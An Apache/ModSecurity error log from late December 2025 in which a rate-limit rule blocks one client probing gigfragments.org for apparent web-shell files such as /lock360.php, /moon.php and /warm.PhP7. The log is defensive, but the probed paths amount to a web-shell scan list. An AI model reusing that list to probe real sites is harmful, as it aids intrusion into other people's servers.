[Fri Dec 26 00:50:17.132256 2025] [:error] [pid 24864:tid 24944] [client 4.193.224.251:8760] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aU1rScu59XOK5DpQQdCGrgAAAVg"]
[Fri Dec 26 00:50:17.309569 2025] [:error] [pid 24864:tid 24927] [client 4.193.224.251:8754] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aU1rScu59XOK5DpQQdCGrwAAAUc"]
[Fri Dec 26 00:50:17.504576 2025] [:error] [pid 24863:tid 24900] [client 4.193.224.251:8728] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aU1rSR8SaH2KMpp43vfeKQAAAMc"]
[Fri Dec 26 00:50:17.692666 2025] [:error] [pid 24864:tid 24931] [client 4.193.224.251:8756] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aU1rScu59XOK5DpQQdCGsAAAAUs"]
[Fri Dec 26 00:50:17.886435 2025] [:error] [pid 24946:tid 24958] [client 4.193.224.251:8972] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aU1rSVfyLYxv3Jn9S70wkgAAAEo"]
[Fri Dec 26 00:50:18.060724 2025] [:error] [pid 24946:tid 24955] [client 4.193.224.251:9082] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aU1rSlfyLYxv3Jn9S70wkwAAAEc"]
[Fri Dec 26 00:50:18.234906 2025] [:error] [pid 24862:tid 24867] [client 4.193.224.251:9181] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aU1rSrt-eeEEuo-2JKgh8QAAAAE"]
[Fri Dec 26 00:50:18.410283 2025] [:error] [pid 24946:tid 24969] [client 4.193.224.251:9008] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aU1rSlfyLYxv3Jn9S70wlgAAAFU"]
[Fri Dec 26 00:50:18.587691 2025] [:error] [pid 24946:tid 24966] [client 4.193.224.251:8723] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aU1rSlfyLYxv3Jn9S70wmAAAAFI"]
[Fri Dec 26 00:50:18.765390 2025] [:error] [pid 24946:tid 24951] [client 4.193.224.251:9033] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aU1rSlfyLYxv3Jn9S70wmwAAAEM"]
[Fri Dec 26 00:50:18.956478 2025] [:error] [pid 24862:tid 24886] [client 4.193.224.251:8757] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aU1rSrt-eeEEuo-2JKgh8gAAABQ"]
[Fri Dec 26 00:50:19.143596 2025] [:error] [pid 24946:tid 24957] [client 4.193.224.251:8741] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aU1rS1fyLYxv3Jn9S70wnAAAAEk"]
[Fri Dec 26 00:50:19.328929 2025] [:error] [pid 24864:tid 24924] [client 4.193.224.251:8763] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aU1rS8u59XOK5DpQQdCGtAAAAUQ"]
[Fri Dec 26 00:50:19.514600 2025] [:error] [pid 24862:tid 24877] [client 4.193.224.251:8735] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aU1rS7t-eeEEuo-2JKgh8wAAAAs"]
[Fri Dec 26 00:50:19.701278 2025] [:error] [pid 24863:tid 24896] [client 4.193.224.251:9163] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aU1rSx8SaH2KMpp43vfeKgAAAMM"]
[Fri Dec 26 00:50:19.888712 2025] [:error] [pid 24863:tid 24898] [client 4.193.224.251:9185] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aU1rSx8SaH2KMpp43vfeKwAAAMU"]
[Fri Dec 26 00:50:20.064254 2025] [:error] [pid 24946:tid 24971] [client 4.193.224.251:8736] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aU1rTFfyLYxv3Jn9S70wngAAAFc"]
[Fri Dec 26 00:50:20.239061 2025] [:error] [pid 24864:tid 24920] [client 4.193.224.251:9032] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aU1rTMu59XOK5DpQQdCGtQAAAUA"]
[Fri Dec 26 00:50:20.413591 2025] [:error] [pid 24946:tid 24948] [client 4.193.224.251:9001] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aU1rTFfyLYxv3Jn9S70woAAAAEA"]
[Fri Dec 26 00:50:20.597593 2025] [:error] [pid 24864:tid 24929] [client 4.193.224.251:9042] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aU1rTMu59XOK5DpQQdCGtwAAAUk"]
[Fri Dec 26 00:50:20.777197 2025] [:error] [pid 24864:tid 24936] [client 4.193.224.251:9021] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aU1rTMu59XOK5DpQQdCGuQAAAVA"]
[Fri Dec 26 00:50:20.980692 2025] [:error] [pid 24864:tid 24922] [client 4.193.224.251:9005] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aU1rTMu59XOK5DpQQdCGugAAAUI"]
[Fri Dec 26 00:50:21.181532 2025] [:error] [pid 24864:tid 24939] [client 4.193.224.251:8744] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aU1rTcu59XOK5DpQQdCGuwAAAVM"]
[Fri Dec 26 00:50:21.369977 2025] [:error] [pid 24864:tid 24935] [client 4.193.224.251:8715] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aU1rTcu59XOK5DpQQdCGvAAAAU8"]
[Fri Dec 26 00:50:21.552459 2025] [:error] [pid 24864:tid 24932] [client 4.193.224.251:8468] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aU1rTcu59XOK5DpQQdCGvQAAAUw"]
[Fri Dec 26 00:50:21.726330 2025] [:error] [pid 24946:tid 24965] [client 4.193.224.251:8485] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aU1rTVfyLYxv3Jn9S70wowAAAFE"]
[Fri Dec 26 00:50:21.900713 2025] [:error] [pid 24864:tid 24926] [client 4.193.224.251:9056] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aU1rTcu59XOK5DpQQdCGvgAAAUY"]
[Fri Dec 26 00:50:22.084624 2025] [:error] [pid 24946:tid 24956] [client 4.193.224.251:8742] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aU1rTlfyLYxv3Jn9S70wpQAAAEg"]
[Fri Dec 26 00:50:22.259446 2025] [:error] [pid 24946:tid 24955] [client 4.193.224.251:8739] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aU1rTlfyLYxv3Jn9S70wpgAAAEc"]
[Fri Dec 26 00:50:22.458489 2025] [:error] [pid 24946:tid 24967] [client 4.193.224.251:9031] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aU1rTlfyLYxv3Jn9S70wpwAAAFM"]
[Fri Dec 26 00:50:22.639373 2025] [:error] [pid 24946:tid 24954] [client 4.193.224.251:8459] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aU1rTlfyLYxv3Jn9S70wqAAAAEY"]
[Fri Dec 26 00:50:22.828846 2025] [:error] [pid 24864:tid 24937] [client 4.193.224.251:8725] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aU1rTsu59XOK5DpQQdCGwAAAAVE"]
[Fri Dec 26 00:50:23.042626 2025] [:error] [pid 24864:tid 24938] [client 4.193.224.251:9041] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aU1rT8u59XOK5DpQQdCGwQAAAVI"]
[Fri Dec 26 00:50:23.224906 2025] [:error] [pid 24862:tid 24874] [client 4.193.224.251:9078] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aU1rT7t-eeEEuo-2JKgh9gAAAAg"]
[Fri Dec 26 00:50:23.411225 2025] [:error] [pid 24946:tid 24951] [client 4.193.224.251:9061] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aU1rT1fyLYxv3Jn9S70wrQAAAEM"]
[Fri Dec 26 00:50:23.593545 2025] [:error] [pid 24946:tid 24957] [client 4.193.224.251:9049] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aU1rT1fyLYxv3Jn9S70wrwAAAEk"]
[Fri Dec 26 00:50:23.771488 2025] [:error] [pid 24862:tid 24873] [client 4.193.224.251:8476] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aU1rT7t-eeEEuo-2JKgh9wAAAAc"]
[Fri Dec 26 00:50:23.949374 2025] [:error] [pid 24863:tid 24902] [client 4.193.224.251:8714] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aU1rTx8SaH2KMpp43vfeLwAAAMk"]
[Fri Dec 26 00:50:24.156647 2025] [:error] [pid 24946:tid 24971] [client 4.193.224.251:8750] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aU1rUFfyLYxv3Jn9S70wsAAAAFc"]
[Fri Dec 26 00:50:24.333008 2025] [:error] [pid 24946:tid 24972] [client 4.193.224.251:8717] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aU1rUFfyLYxv3Jn9S70wsgAAAFg"]
[Fri Dec 26 00:50:24.509528 2025] [:error] [pid 24863:tid 24911] [client 4.193.224.251:8719] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-rex4.php7"] [unique_id "aU1rUB8SaH2KMpp43vfeMwAAANI"]
[Fri Dec 26 00:50:24.685977 2025] [:error] [pid 24864:tid 24927] [client 4.193.224.251:8461] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-rex4.php7"] [unique_id "aU1rUMu59XOK5DpQQdCGwwAAAUc"]
[Fri Dec 26 00:50:24.896955 2025] [:error] [pid 24864:tid 24931] [client 4.193.224.251:8761] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-rex4.php7"] [unique_id "aU1rUMu59XOK5DpQQdCGxAAAAUs"]
[Fri Dec 26 00:50:25.089790 2025] [:error] [pid 24862:tid 24871] [client 4.193.224.251:9175] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-rex4.php7"] [unique_id "aU1rUbt-eeEEuo-2JKgh-gAAAAU"]
[Fri Dec 26 00:50:25.290471 2025] [:error] [pid 24862:tid 24879] [client 4.193.224.251:9004] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aU1rUbt-eeEEuo-2JKgh_AAAAA0"]
[Fri Dec 26 00:50:25.492251 2025] [:error] [pid 24862:tid 24867] [client 4.193.224.251:9047] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aU1rUbt-eeEEuo-2JKgh_QAAAAE"]
[Fri Dec 26 00:50:25.680099 2025] [:error] [pid 24862:tid 24886] [client 4.193.224.251:9160] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aU1rUbt-eeEEuo-2JKgh_gAAABQ"]
[Fri Dec 26 00:50:25.899327 2025] [:error] [pid 24946:tid 24963] [client 4.193.224.251:9067] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aU1rUVfyLYxv3Jn9S70wswAAAE8"]
[Fri Dec 26 00:50:26.075179 2025] [:error] [pid 24862:tid 24866] [client 4.193.224.251:9169] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-info.php"] [unique_id "aU1rUrt-eeEEuo-2JKgh_wAAAAA"]
[Fri Dec 26 00:50:26.258653 2025] [:error] [pid 24862:tid 24889] [client 4.193.224.251:9057] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-info.php"] [unique_id "aU1rUrt-eeEEuo-2JKgiAQAAABc"]
[Fri Dec 26 00:50:26.449821 2025] [:error] [pid 24946:tid 24970] [client 4.193.224.251:8994] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-info.php"] [unique_id "aU1rUlfyLYxv3Jn9S70wtQAAAFY"]
[Fri Dec 26 00:50:26.632081 2025] [:error] [pid 24862:tid 24869] [client 4.193.224.251:8764] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-info.php"] [unique_id "aU1rUrt-eeEEuo-2JKgiAgAAAAM"]
[Fri Dec 26 00:50:26.819843 2025] [:error] [pid 24864:tid 24928] [client 4.193.224.251:9055] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/warm.PhP7"] [unique_id "aU1rUsu59XOK5DpQQdCGywAAAUg"]
[Fri Dec 26 00:50:26.995265 2025] [:error] [pid 24862:tid 24881] [client 4.193.224.251:8454] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/warm.PhP7"] [unique_id "aU1rUrt-eeEEuo-2JKgiBAAAAA8"]
[Fri Dec 26 00:50:27.209427 2025] [:error] [pid 24864:tid 24936] [client 4.193.224.251:8767] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/warm.PhP7"] [unique_id "aU1rU8u59XOK5DpQQdCGzAAAAVA"]
[Fri Dec 26 00:50:27.387424 2025] [:error] [pid 24862:tid 24883] [client 4.193.224.251:9075] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/warm.PhP7"] [unique_id "aU1rU7t-eeEEuo-2JKgiBQAAABE"]
